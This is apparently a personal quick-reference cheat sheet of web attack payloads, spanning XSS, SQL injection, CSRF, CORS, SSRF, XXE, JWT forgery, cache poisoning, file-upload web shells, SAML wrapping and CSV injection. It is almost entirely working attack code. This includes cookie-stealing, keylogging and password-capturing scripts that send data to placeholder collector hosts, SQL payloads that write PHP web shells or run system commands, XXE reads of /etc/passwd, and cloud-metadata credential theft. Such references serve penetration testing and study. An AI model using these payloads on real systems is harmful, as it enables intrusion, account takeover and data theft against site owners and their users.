Skip to content
Select theme

Web attack payloads

Quick-reference payloads distilled from the web notes. Full explanation lives there.

Phase Payload If it fires
1 <img src=x onerror=alert(1)> XSS in HTML text context
2 <svg onload=alert(1)> <img> is filtered
3 " onmouseover="alert(1) Input is in an HTML attribute
4 ';alert(1);// Input is in a JS string
5 Analyze with DevTools (F12, not View Source) Need context-specific payload
Context Payload
HTML text <img src=x onerror=alert(document.domain)>
HTML text (img blocked) <svg onload=alert(1)>, <video src=1 onerror=alert(1)>
Quoted attribute " autofocus onfocus=alert(document.domain) x="
Attribute (break tag) "><img src=x onerror=alert(1)>
JS string ';alert(document.domain);//
JS string (backslash escape) \';alert(document.domain);//
JS string (break tag) </script><img src=x onerror=alert(1)>
Template literal ${alert(document.domain)}
Event handler &apos;-alert(document.domain)-&apos;
href / URL attribute javascript:alert(document.domain)
AngularJS 1.x expression {{constructor.constructor('alert(document.domain)')()}}
Blocked Bypass
alert() confirm(1), prompt(1), eval(atob('YWxlcnQoMSk='))
Parentheses () onerror=alert;throw 1
onerror <svg onload=alert(1)>, <input autofocus onfocus=alert(1)>
Quotes <img src=x onerror=alert(1)> (no quotes needed)
Multi-encoding %26apos%3B-alert(1)-%26apos%3B (URL → HTML → JS)
Cookie theft
<img src=x onerror="fetch('https://ATTACKER?c='+document.cookie)">
Cookie theft (Burp Collaborator)
<script>
fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie});
</script>
Password capture (auto-fill)
<input name=username id=username>
<input type=password name=password
onchange="if(this.value.length)fetch('https://YOUR-ID.oastify.com',
{method:'POST',mode:'no-cors',body:username.value+':'+this.value});">
CSRF bypass (read token + change email)
<script>
var token=document.querySelector('input[name=csrf]').value;
fetch('/my-account/change-email',{method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'email=attacker@attacker.example&csrf='+token});
</script>
Keylogger
<script>
var k='';document.onkeypress=function(e){k+=e.key;
if(k.length>20){navigator.sendBeacon('https://YOUR-ID.oastify.com',k);k='';}};
</script>
localStorage/sessionStorage exfiltration
<script>
navigator.sendBeacon('https://YOUR-ID.oastify.com',
JSON.stringify({ls:localStorage,ss:sessionStorage}));
</script>

Blind XSS (inject into headers, forms, support tickets)

Section titled “Blind XSS (inject into headers, forms, support tickets)”
Short payload for User-Agent / Referer
"><img src=x onerror="fetch('https://YOUR-ID.oastify.com?c='+document.cookie)">
Full blind XSS (exfiltrates URL, cookies, DOM)
<script>
fetch('https://YOUR-ID.oastify.com/blind',{method:'POST',mode:'no-cors',
body:JSON.stringify({url:location.href,cookie:document.cookie,
dom:document.body.innerHTML.substring(0,2000)})});
</script>
xss.svg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<rect width="100" height="100"/>
</svg>
Sources Sinks
location.search, location.hash innerHTML, outerHTML
location.href, document.URL document.write, eval
document.referrer, window.name setTimeout/setInterval (string arg)
postMessage data Function constructor, jQuery $() / .html() / .attr()
Sink Payload
document.write() <script>alert(1)</script>
innerHTML <img src=x onerror=alert(1)> (<script> does not work)
eval() / setTimeout() ';alert(1);//
jQuery $() #<img src=1 onerror=alert(1)>
jQuery .attr('href') javascript:alert(1)
AngularJS {{ }} {{constructor.constructor('alert(1)')()}}
Payload (username field) Notes
admin'-- - Comment out password check
' OR 1=1-- - Returns first user (often admin)
' OR 1=1 LIMIT 1-- - Explicit first row (MySQL)
' OR 1=1# MySQL comment variant
admin' OR '1'='1 No comment needed
Technique Payload
Break syntax ' or "
Boolean (string) ' AND '1'='1 / ' AND '1'='2
Boolean (numeric) 1 AND 1=1 / 1 AND 1=2
Arithmetic id=2-1 (behaves like id=1)
Time (MySQL) ' AND SLEEP(10)-- -
Time (PostgreSQL) ' || pg_sleep(10) || '
Time (MSSQL) '; WAITFOR DELAY '0:0:10'--
Column count (ORDER BY)
' ORDER BY 1-- -
' ORDER BY 2-- -
-- increment until error
Column count (UNION NULL)
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
-- Oracle: add FROM dual
Find string columns
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
Read tables (MySQL/PostgreSQL/MSSQL)
' UNION SELECT table_name, NULL FROM information_schema.tables-- -
Read columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -
Read data
' UNION SELECT username, password FROM users-- -
Single-column concatenation (Oracle/PostgreSQL)
' UNION SELECT username || '~' || password, NULL FROM users-- -
Boolean: binary search one character
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)>'m'-- -
Error-based: CAST leak
' AND CAST((SELECT password FROM users WHERE username='admin') AS int)=1-- -
Time-based (MySQL)
' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a',SLEEP(10),0)-- -
Time-based (PostgreSQL)
' || (SELECT CASE WHEN SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' THEN pg_sleep(10) ELSE NULL END) || '
OAST: DNS exfiltration (MSSQL)
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='admin');exec('master..xp_dirtree "//'+@p+'.YOUR-ID.oastify.com/a"')--
Blocked Bypass
SELECT SeLeCt, SEL/**/ECT, %53%45%4C%45%43%54, /*!SELECT*/
Spaces /**/, %09 (tab), %0A (newline)
OR / AND ||, &&, ^ (XOR)
Keywords in XML &#x53;ELECT (XML entity decoding)
= LIKE, REGEXP, BETWEEN x AND x, IN ('val')
Quotes Hex: 0x61646d696e (MySQL), CHAR(97,100) (MySQL/MSSQL), CHR(97)||CHR(100) (Pg/Oracle)
Double URL encode %2527 (WAF decodes to %27, backend decodes to ')
MSSQL: xp_cmdshell
'; EXEC xp_cmdshell 'whoami'-- -
PostgreSQL: COPY TO PROGRAM
'; COPY (SELECT '') TO PROGRAM 'id'-- -
MySQL: write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -
Task Syntax
Version @@version
Delay SLEEP(5)
Tables information_schema.tables
Concat CONCAT(a,b)
Substring SUBSTRING(), MID()
Comment -- - or #
Task Syntax
Version version()
Delay pg_sleep(5)
Tables information_schema.tables
Concat a || b
Substring SUBSTRING()
Comment -- -
Task Syntax
Version @@version
Delay WAITFOR DELAY '0:0:5'
Tables information_schema.tables
Concat a + b
Substring SUBSTRING()
Comment -- -
Task Syntax
Version banner FROM v$version
Delay dbms_pipe.receive_message('a',5)
Tables all_tables
Concat a || b
Substring SUBSTR()
Comment -- -
Task Syntax
Version sqlite_version()
Tables sqlite_master
Concat a || b
Comment -- -
POST form (classic)
<form action="https://<target>/account/email" method="POST">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<script>document.forms[0].submit()</script>
GET-based (self-contained, no attacker page needed)
<img src="https://<target>/account/email?email=attacker@attacker.example">
JSON CSRF via text/plain
<form action="https://<target>/api/email" method="POST" enctype="text/plain">
<input name='{"email":"attacker@attacker.example","padding":"' value='"}'>
</form>
Suppress Referer header
<meta name="referrer" content="no-referrer">
<form action="https://<target>/account/email" method="POST">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<script>document.forms[0].submit()</script>
# Flaw PoC technique
1 Validated only on POST, not GET Switch to GET /endpoint?param=value
2 Validated only when present Drop the csrf parameter entirely
3 Not tied to user session (global pool) Log in to own account, use own token
4 Tied to non-session cookie (csrfKey) Inject csrfKey cookie via subdomain + use matching token
5 Double submit (cookie = param, no server state) Inject cookie with invented value + use same value in form
Bypass 3: use attacker's own token
<form action="https://<target>/account/email" method="POST">
<input type="hidden" name="csrf" value="ATTACKER-TOKEN-FROM-OWN-SESSION">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<script>document.forms[0].submit()</script>
Bypass 5: double submit cookie injection
<form action="https://<target>/account/email" method="POST">
<input type="hidden" name="csrf" value="fake">
<input type="hidden" name="email" value="attacker@attacker.example">
</form>
<img src="https://sub.<target>/?x=%0d%0aSet-Cookie:+csrf=fake"
onerror="document.forms[0].submit()">
XSS extracts token (bypasses all CSRF defenses)
<script>
fetch('/account/email')
.then(r => r.text())
.then(html => {
var doc = new DOMParser().parseFromString(html, 'text/html');
var token = doc.querySelector('input[name=csrf]').value;
fetch('/account/email', {method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:'csrf='+token+'&email=attacker@attacker.example'});
});
</script>
Probe origins
for o in \
"https://attacker.example" \
"null" \
"https://<target>.attacker.example" \
"https://attacker<target>" \
"http://sub.<target>" ; do
echo "== Origin: $o =="
curl -sI https://<target>/api/me -H "Origin: $o" \
| grep -i "access-control-allow-"
done

Exploitable when Access-Control-Allow-Origin echoes the attacker origin and Access-Control-Allow-Credentials: true.

Test Origin to send Vulnerable if ACAO echoes it
Reflection https://attacker.example Server reflects any origin
Null null Server whitelists null
Suffix bypass https://attackertarget.example Loose regex matching
Prefix bypass https://target.example.evil.net Loose prefix matching
HTTP trust http://sub.target.example HTTPS trusts HTTP origin
Exfiltrate authenticated data (fetch)
fetch("https://<target>/api/me", { credentials: "include" })
.then(r => r.text())
.then(t => navigator.sendBeacon("https://attacker.example/log", t));
Null origin exploit (sandboxed iframe)
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
fetch('https://<target>/api/me',{credentials:'include'})
.then(r=>r.text())
.then(t=>location='https://YOUR-ID.oastify.com/?d='+encodeURIComponent(t))
</script>"></iframe>
Localhost access
http://localhost/admin
http://127.0.0.1/admin
http://127.1/admin
http://[::1]/admin
Blacklist bypass (alternative IP representations)
http://2130706433/admin # decimal
http://017700000001/admin # octal
http://127.1/%2561dmin # double URL-encode 'a'
Whitelist bypass Example
Credentials https://expected-host:fakepassword@evil-host
Fragment https://evil-host#expected-host
DNS subdomain https://expected-host.evil-host
Double encoding %252F
Cloud metadata (AWS IMDSv1)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
DNS rebinding (alternates between two IPs)
1.2.3.4.169.254.169.254.rbndr.us
Gopher: Redis web shell
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%2F%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE%0AQUIT
SSRF via PDF generator
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="800" height="600"></iframe>
AWS: use stolen IMDSv1 credentials
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws s3 ls
File read
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
SSRF via XXE
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]>
<root>&xxe;</root>
Blind XXE (OOB to Collaborator)
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://YOUR-ID.oastify.com/evil.dtd">
%dtd;
]>
<root>&send;</root>
SVG file upload
<?xml version="1.0"?>
<!DOCTYPE cat [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg xmlns="http://www.w3.org/2000/svg">
<text x="0" y="15">&xxe;</text>
</svg>
XInclude (no DOCTYPE control)
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</foo>
Error-based blind exfiltration (evil.dtd)
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
PHP filter base64 (avoid XML special chars)
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<root>&xxe;</root>
XXE via DOCX (inject in word/document.xml)
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
Test Payload
alg: none {"alg":"none"} + empty signature (keep trailing .)
alg: none bypass Try None, NONE, nOnE
Brute-force HS256 hashcat -a 0 -m 16500 "<token>" rockyou.txt
JWK injection Embed your public key in jwk header param, sign with your private key
Algorithm confusion RS256 → HS256, sign with server’s public key as HMAC secret
kid path traversal "kid":"../../dev/null" → sign with empty string
kid SQLi "kid":"' UNION SELECT 'secret' --" → sign with secret
jku injection Host your JWK Set, set jku header to your URL, sign with your key
x5c injection Embed self-signed cert in x5c, sign with its private key
Claim abuse (exp) Set exp to 9999999999 (server may not check expiration)
Claim abuse (sub/role) "sub":"admin", "role":"admin", "isAdmin":true
jwt_tool: run all tests
python3 jwt_tool.py <token> -M at
jwt_tool: tamper claim
python3 jwt_tool.py <token> -T -S hs256 -p "secret" -pc "sub" -pv "admin"
Password reset poisoning
POST /forgot-password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com
X-Forwarded-Host bypass
POST /forgot-password HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.com
email=victim@example.com
Bypass variant Value
Port injection Host: example.com:attacker.com
Double Host header Two Host: lines (parser may use second)
Absolute URL + Host GET https://example.com/ HTTP/1.1 + Host: attacker.com
SSRF via routing Host: 192.168.0.68 (proxy routes to internal service)
Connection state Valid Host on first request, Host: admin.internal on same connection
Bypass Payload
Direct URL /admin, /admin-panel, /management, /console, /dashboard
Parameter role ?admin=true, ?role=admin, Cookie: Admin=true, {"roleid":1}
URL override X-Original-URL: /admin/deleteUser or X-Rewrite-URL
Method switch GET /admin/deleteUser?username=carlos (if only POST is blocked)
Method override _method=GET in POST body, or X-HTTP-Method-Override: GET header
URL case /ADMIN/DELETEUSER (case-insensitive routing, case-sensitive AC)
Trailing slash /admin/deleteUser/
Extension /admin/deleteUser.json, /admin/deleteUser.anything
Dot segment /admin/./deleteUser
Referer spoof Referer: https://target.example/admin
Multi-step skip Skip to final step: POST /admin/deleteUser/execute directly
Read another user's data
GET /api/users/456/profile HTTP/1.1
Cookie: session=your-session-token
Change another user's email (account takeover chain)
PUT /api/users/456/profile HTTP/1.1
Cookie: session=your-session-token
Content-Type: application/json
{"email": "attacker@attacker.example"}
Delete another user's resource
DELETE /api/orders/789 HTTP/1.1
Cookie: session=your-session-token
Enumerate IDOR with ffuf
ffuf -u https://target.example/api/users/FUZZ/profile \
-w <(seq 1 1000) -H "Cookie: session=your-token" -mc 200 -fs 0
Source Look for
API responses User listings, search results, comments
HTML source Data attributes, hidden fields, inline JSON
URL in messages Order links, profile links shared in notifications
WebSocket messages Real-time feeds with user IDs
XSS via X-Forwarded-Host (meta tag injection)
GET /en?region=uk HTTP/1.1
Host: target.example
X-Forwarded-Host: x]"/><script>fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie})</script><meta x="
Resource import hijack
GET / HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
Redirect poisoning (two headers)
GET /login HTTP/1.1
Host: target.example
X-Forwarded-Proto: http
X-Forwarded-Host: attacker.example
Technique Payload / header
Force scheme redirect X-Forwarded-Proto: http
Host override X-Forwarded-Host: attacker.example
Path override X-Original-URL: /admin/deleteUser
Cookie-based XSS Cookie: lang="><script>alert(1)</script>
Targeted (Vary) Match victim’s User-Agent exactly
Re-poison loop
while true; do
curl -s -o /dev/null \
-H "Host: target.example" \
-H "X-Forwarded-Host: attacker.example" \
"https://target.example/page"
sleep 1790 # max-age 1800, re-poison 10s before expiry
done
Blocked Alternatives
.php .php5, .php7, .phtml, .phar, .phps
.asp .aspx, .ashx, .asmx, .cer
.jsp .jspx, .jspf
Technique Filename
Case shell.pHp
Double extension shell.php.jpg
Trailing dot shell.php.
Semicolon (IIS) shell.asp;.jpg
Null byte shell.php%00.jpg
Stripping bypass shell.p.phphp
NTFS ADS shell.php::$DATA
URL encoding shell.%70%68%70
.htaccess (map custom extension to PHP)
AddType application/x-httpd-php .evil
Format Magic bytes
JPEG FF D8 FF
PNG 89 50 4E 47 0D 0A 1A 0A
GIF GIF89a
PDF %PDF-
Polyglot JPEG/PHP via exiftool
exiftool -Comment='payload_here' image.jpg -o shell.php.jpg
Escape non-executable upload dir
Content-Disposition: form-data; name="file"; filename="../shell.php"

Encoded: ..%2fshell.php, double-encoded: ..%252fshell.php

Change Content-Type: application/x-httpd-php to Content-Type: image/jpeg in Burp Repeater. The server checks the header, the web server executes based on extension.

Technique Description
String concatenation Build function name from parts ('sys'.'tem')
Base64 encoding eval(base64_decode('...'))
chr() construction Build string char by char from ASCII codes
Alternate functions exec(), passthru(), shell_exec(), popen(), backticks
File splitting Loader (include('data.dat')) + separate payload file
Metadata injection exiftool -Comment='payload' image.jpg
# Test What to do Vulnerable if
1 Signature not validated Change NameID, don’t touch signature Logs in as other user
2 Unsigned assertion Remove all signatures (SAML Raider), change NameID Logs in
3 XML Signature Wrapping Apply XSW1-8 (SAML Raider dropdown), change forged NameID Logs in
4 Untrusted certificate Generate own cert, re-sign assertion, optionally embed in KeyInfo Logs in
5 Comment injection admin@target.example<!---->. evil.example in NameID SP reads admin@target.example
6 Replay Re-send same SAMLResponse after expiry / after first use Still works
7 Audience confusion Send SP-A’s assertion to SP-B’s ACS SP-B accepts it
8 RelayState injection RelayState=https://attacker.example or "><script>alert(1)</script> Redirect / XSS
<samlp:Response>
<saml:Assertion ID="_forged"> <!-- SP reads this -->
<saml:Subject>
<saml:NameID>admin@target.example</saml:NameID>
</saml:Subject>
</saml:Assertion>
<Wrapper>
<saml:Assertion ID="_original"> <!-- signature covers this -->
<ds:Signature>
<ds:Reference URI="#_original"/>
</ds:Signature>
<saml:Subject>
<saml:NameID>user@target.example</saml:NameID>
</saml:Subject>
</saml:Assertion>
</Wrapper>
</samlp:Response>
Split at domain boundary
<saml:NameID>admin@target.example<!---->. evil.example</saml:NameID>
Comment after the email
<saml:NameID>admin@target.example<!--.evil.example--></saml:NameID>

Full details in the SAML note.

ffuf: fuzz hidden paths
ffuf -u https://target.example/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403
Reconstruct exposed .git
git-dumper https://target.example/.git/ ./output
cd output && git log -p --all -S "password"
GraphQL introspection
{"query": "{__schema{types{name,fields{name,type{name}}}}}"}
List public S3 bucket
aws s3 ls s3://BUCKET-NAME --no-sign-request
Source What to check
Source maps //# sourceMappingURL=app.js.map at end of JS files
Swagger/OpenAPI /swagger-ui.html, /api-docs, /v2/api-docs, /openapi.json
Debug endpoints /actuator/env, /phpinfo.php, /debug
Backup files .bak, ~, .old, .swp, .tmp extensions

Validation bypass payloads (replace attacker.example with Collaborator):

Technique Payload
Direct https://attacker.example
Protocol-relative //attacker.example
Backslash /\attacker.example, \/\/attacker.example
Userinfo (@) https://target.example@attacker.example
Subdomain https://target.example.attacker.example
Double encoding %2568ttps://attacker.example
Null byte https://target.example%00.attacker.example
Fragment https://attacker.example#.target.example
Triple slash ///attacker.example
javascript: javascript:document.location='https://attacker.example/?c='+document.cookie

OAuth token theft chain:

https://auth.target.example/authorize?response_type=code&client_id=ID&redirect_uri=https://target.example/redirect?url=https://attacker.example/steal&scope=openid

SSRF chain (server-side fetch with redirect follow):

url=https://target.example/redirect?url=http://169.254.169.254/latest/meta-data/

Full note: open redirect.

Payload Effect
=cmd|'/C calc'|A0 Command execution (legacy Excel, macros enabled)
=HYPERLINK("http://attacker.example/steal?d="&A1,"Click") Data exfiltration via hyperlink
-cmd|'/C calc'|A0 Some apps strip = but not -
+cmd|'/C calc'|A0 Same with + prefix
@SUM(A1:A2) @ triggers formula in some parsers

1,466 words, about 7 min read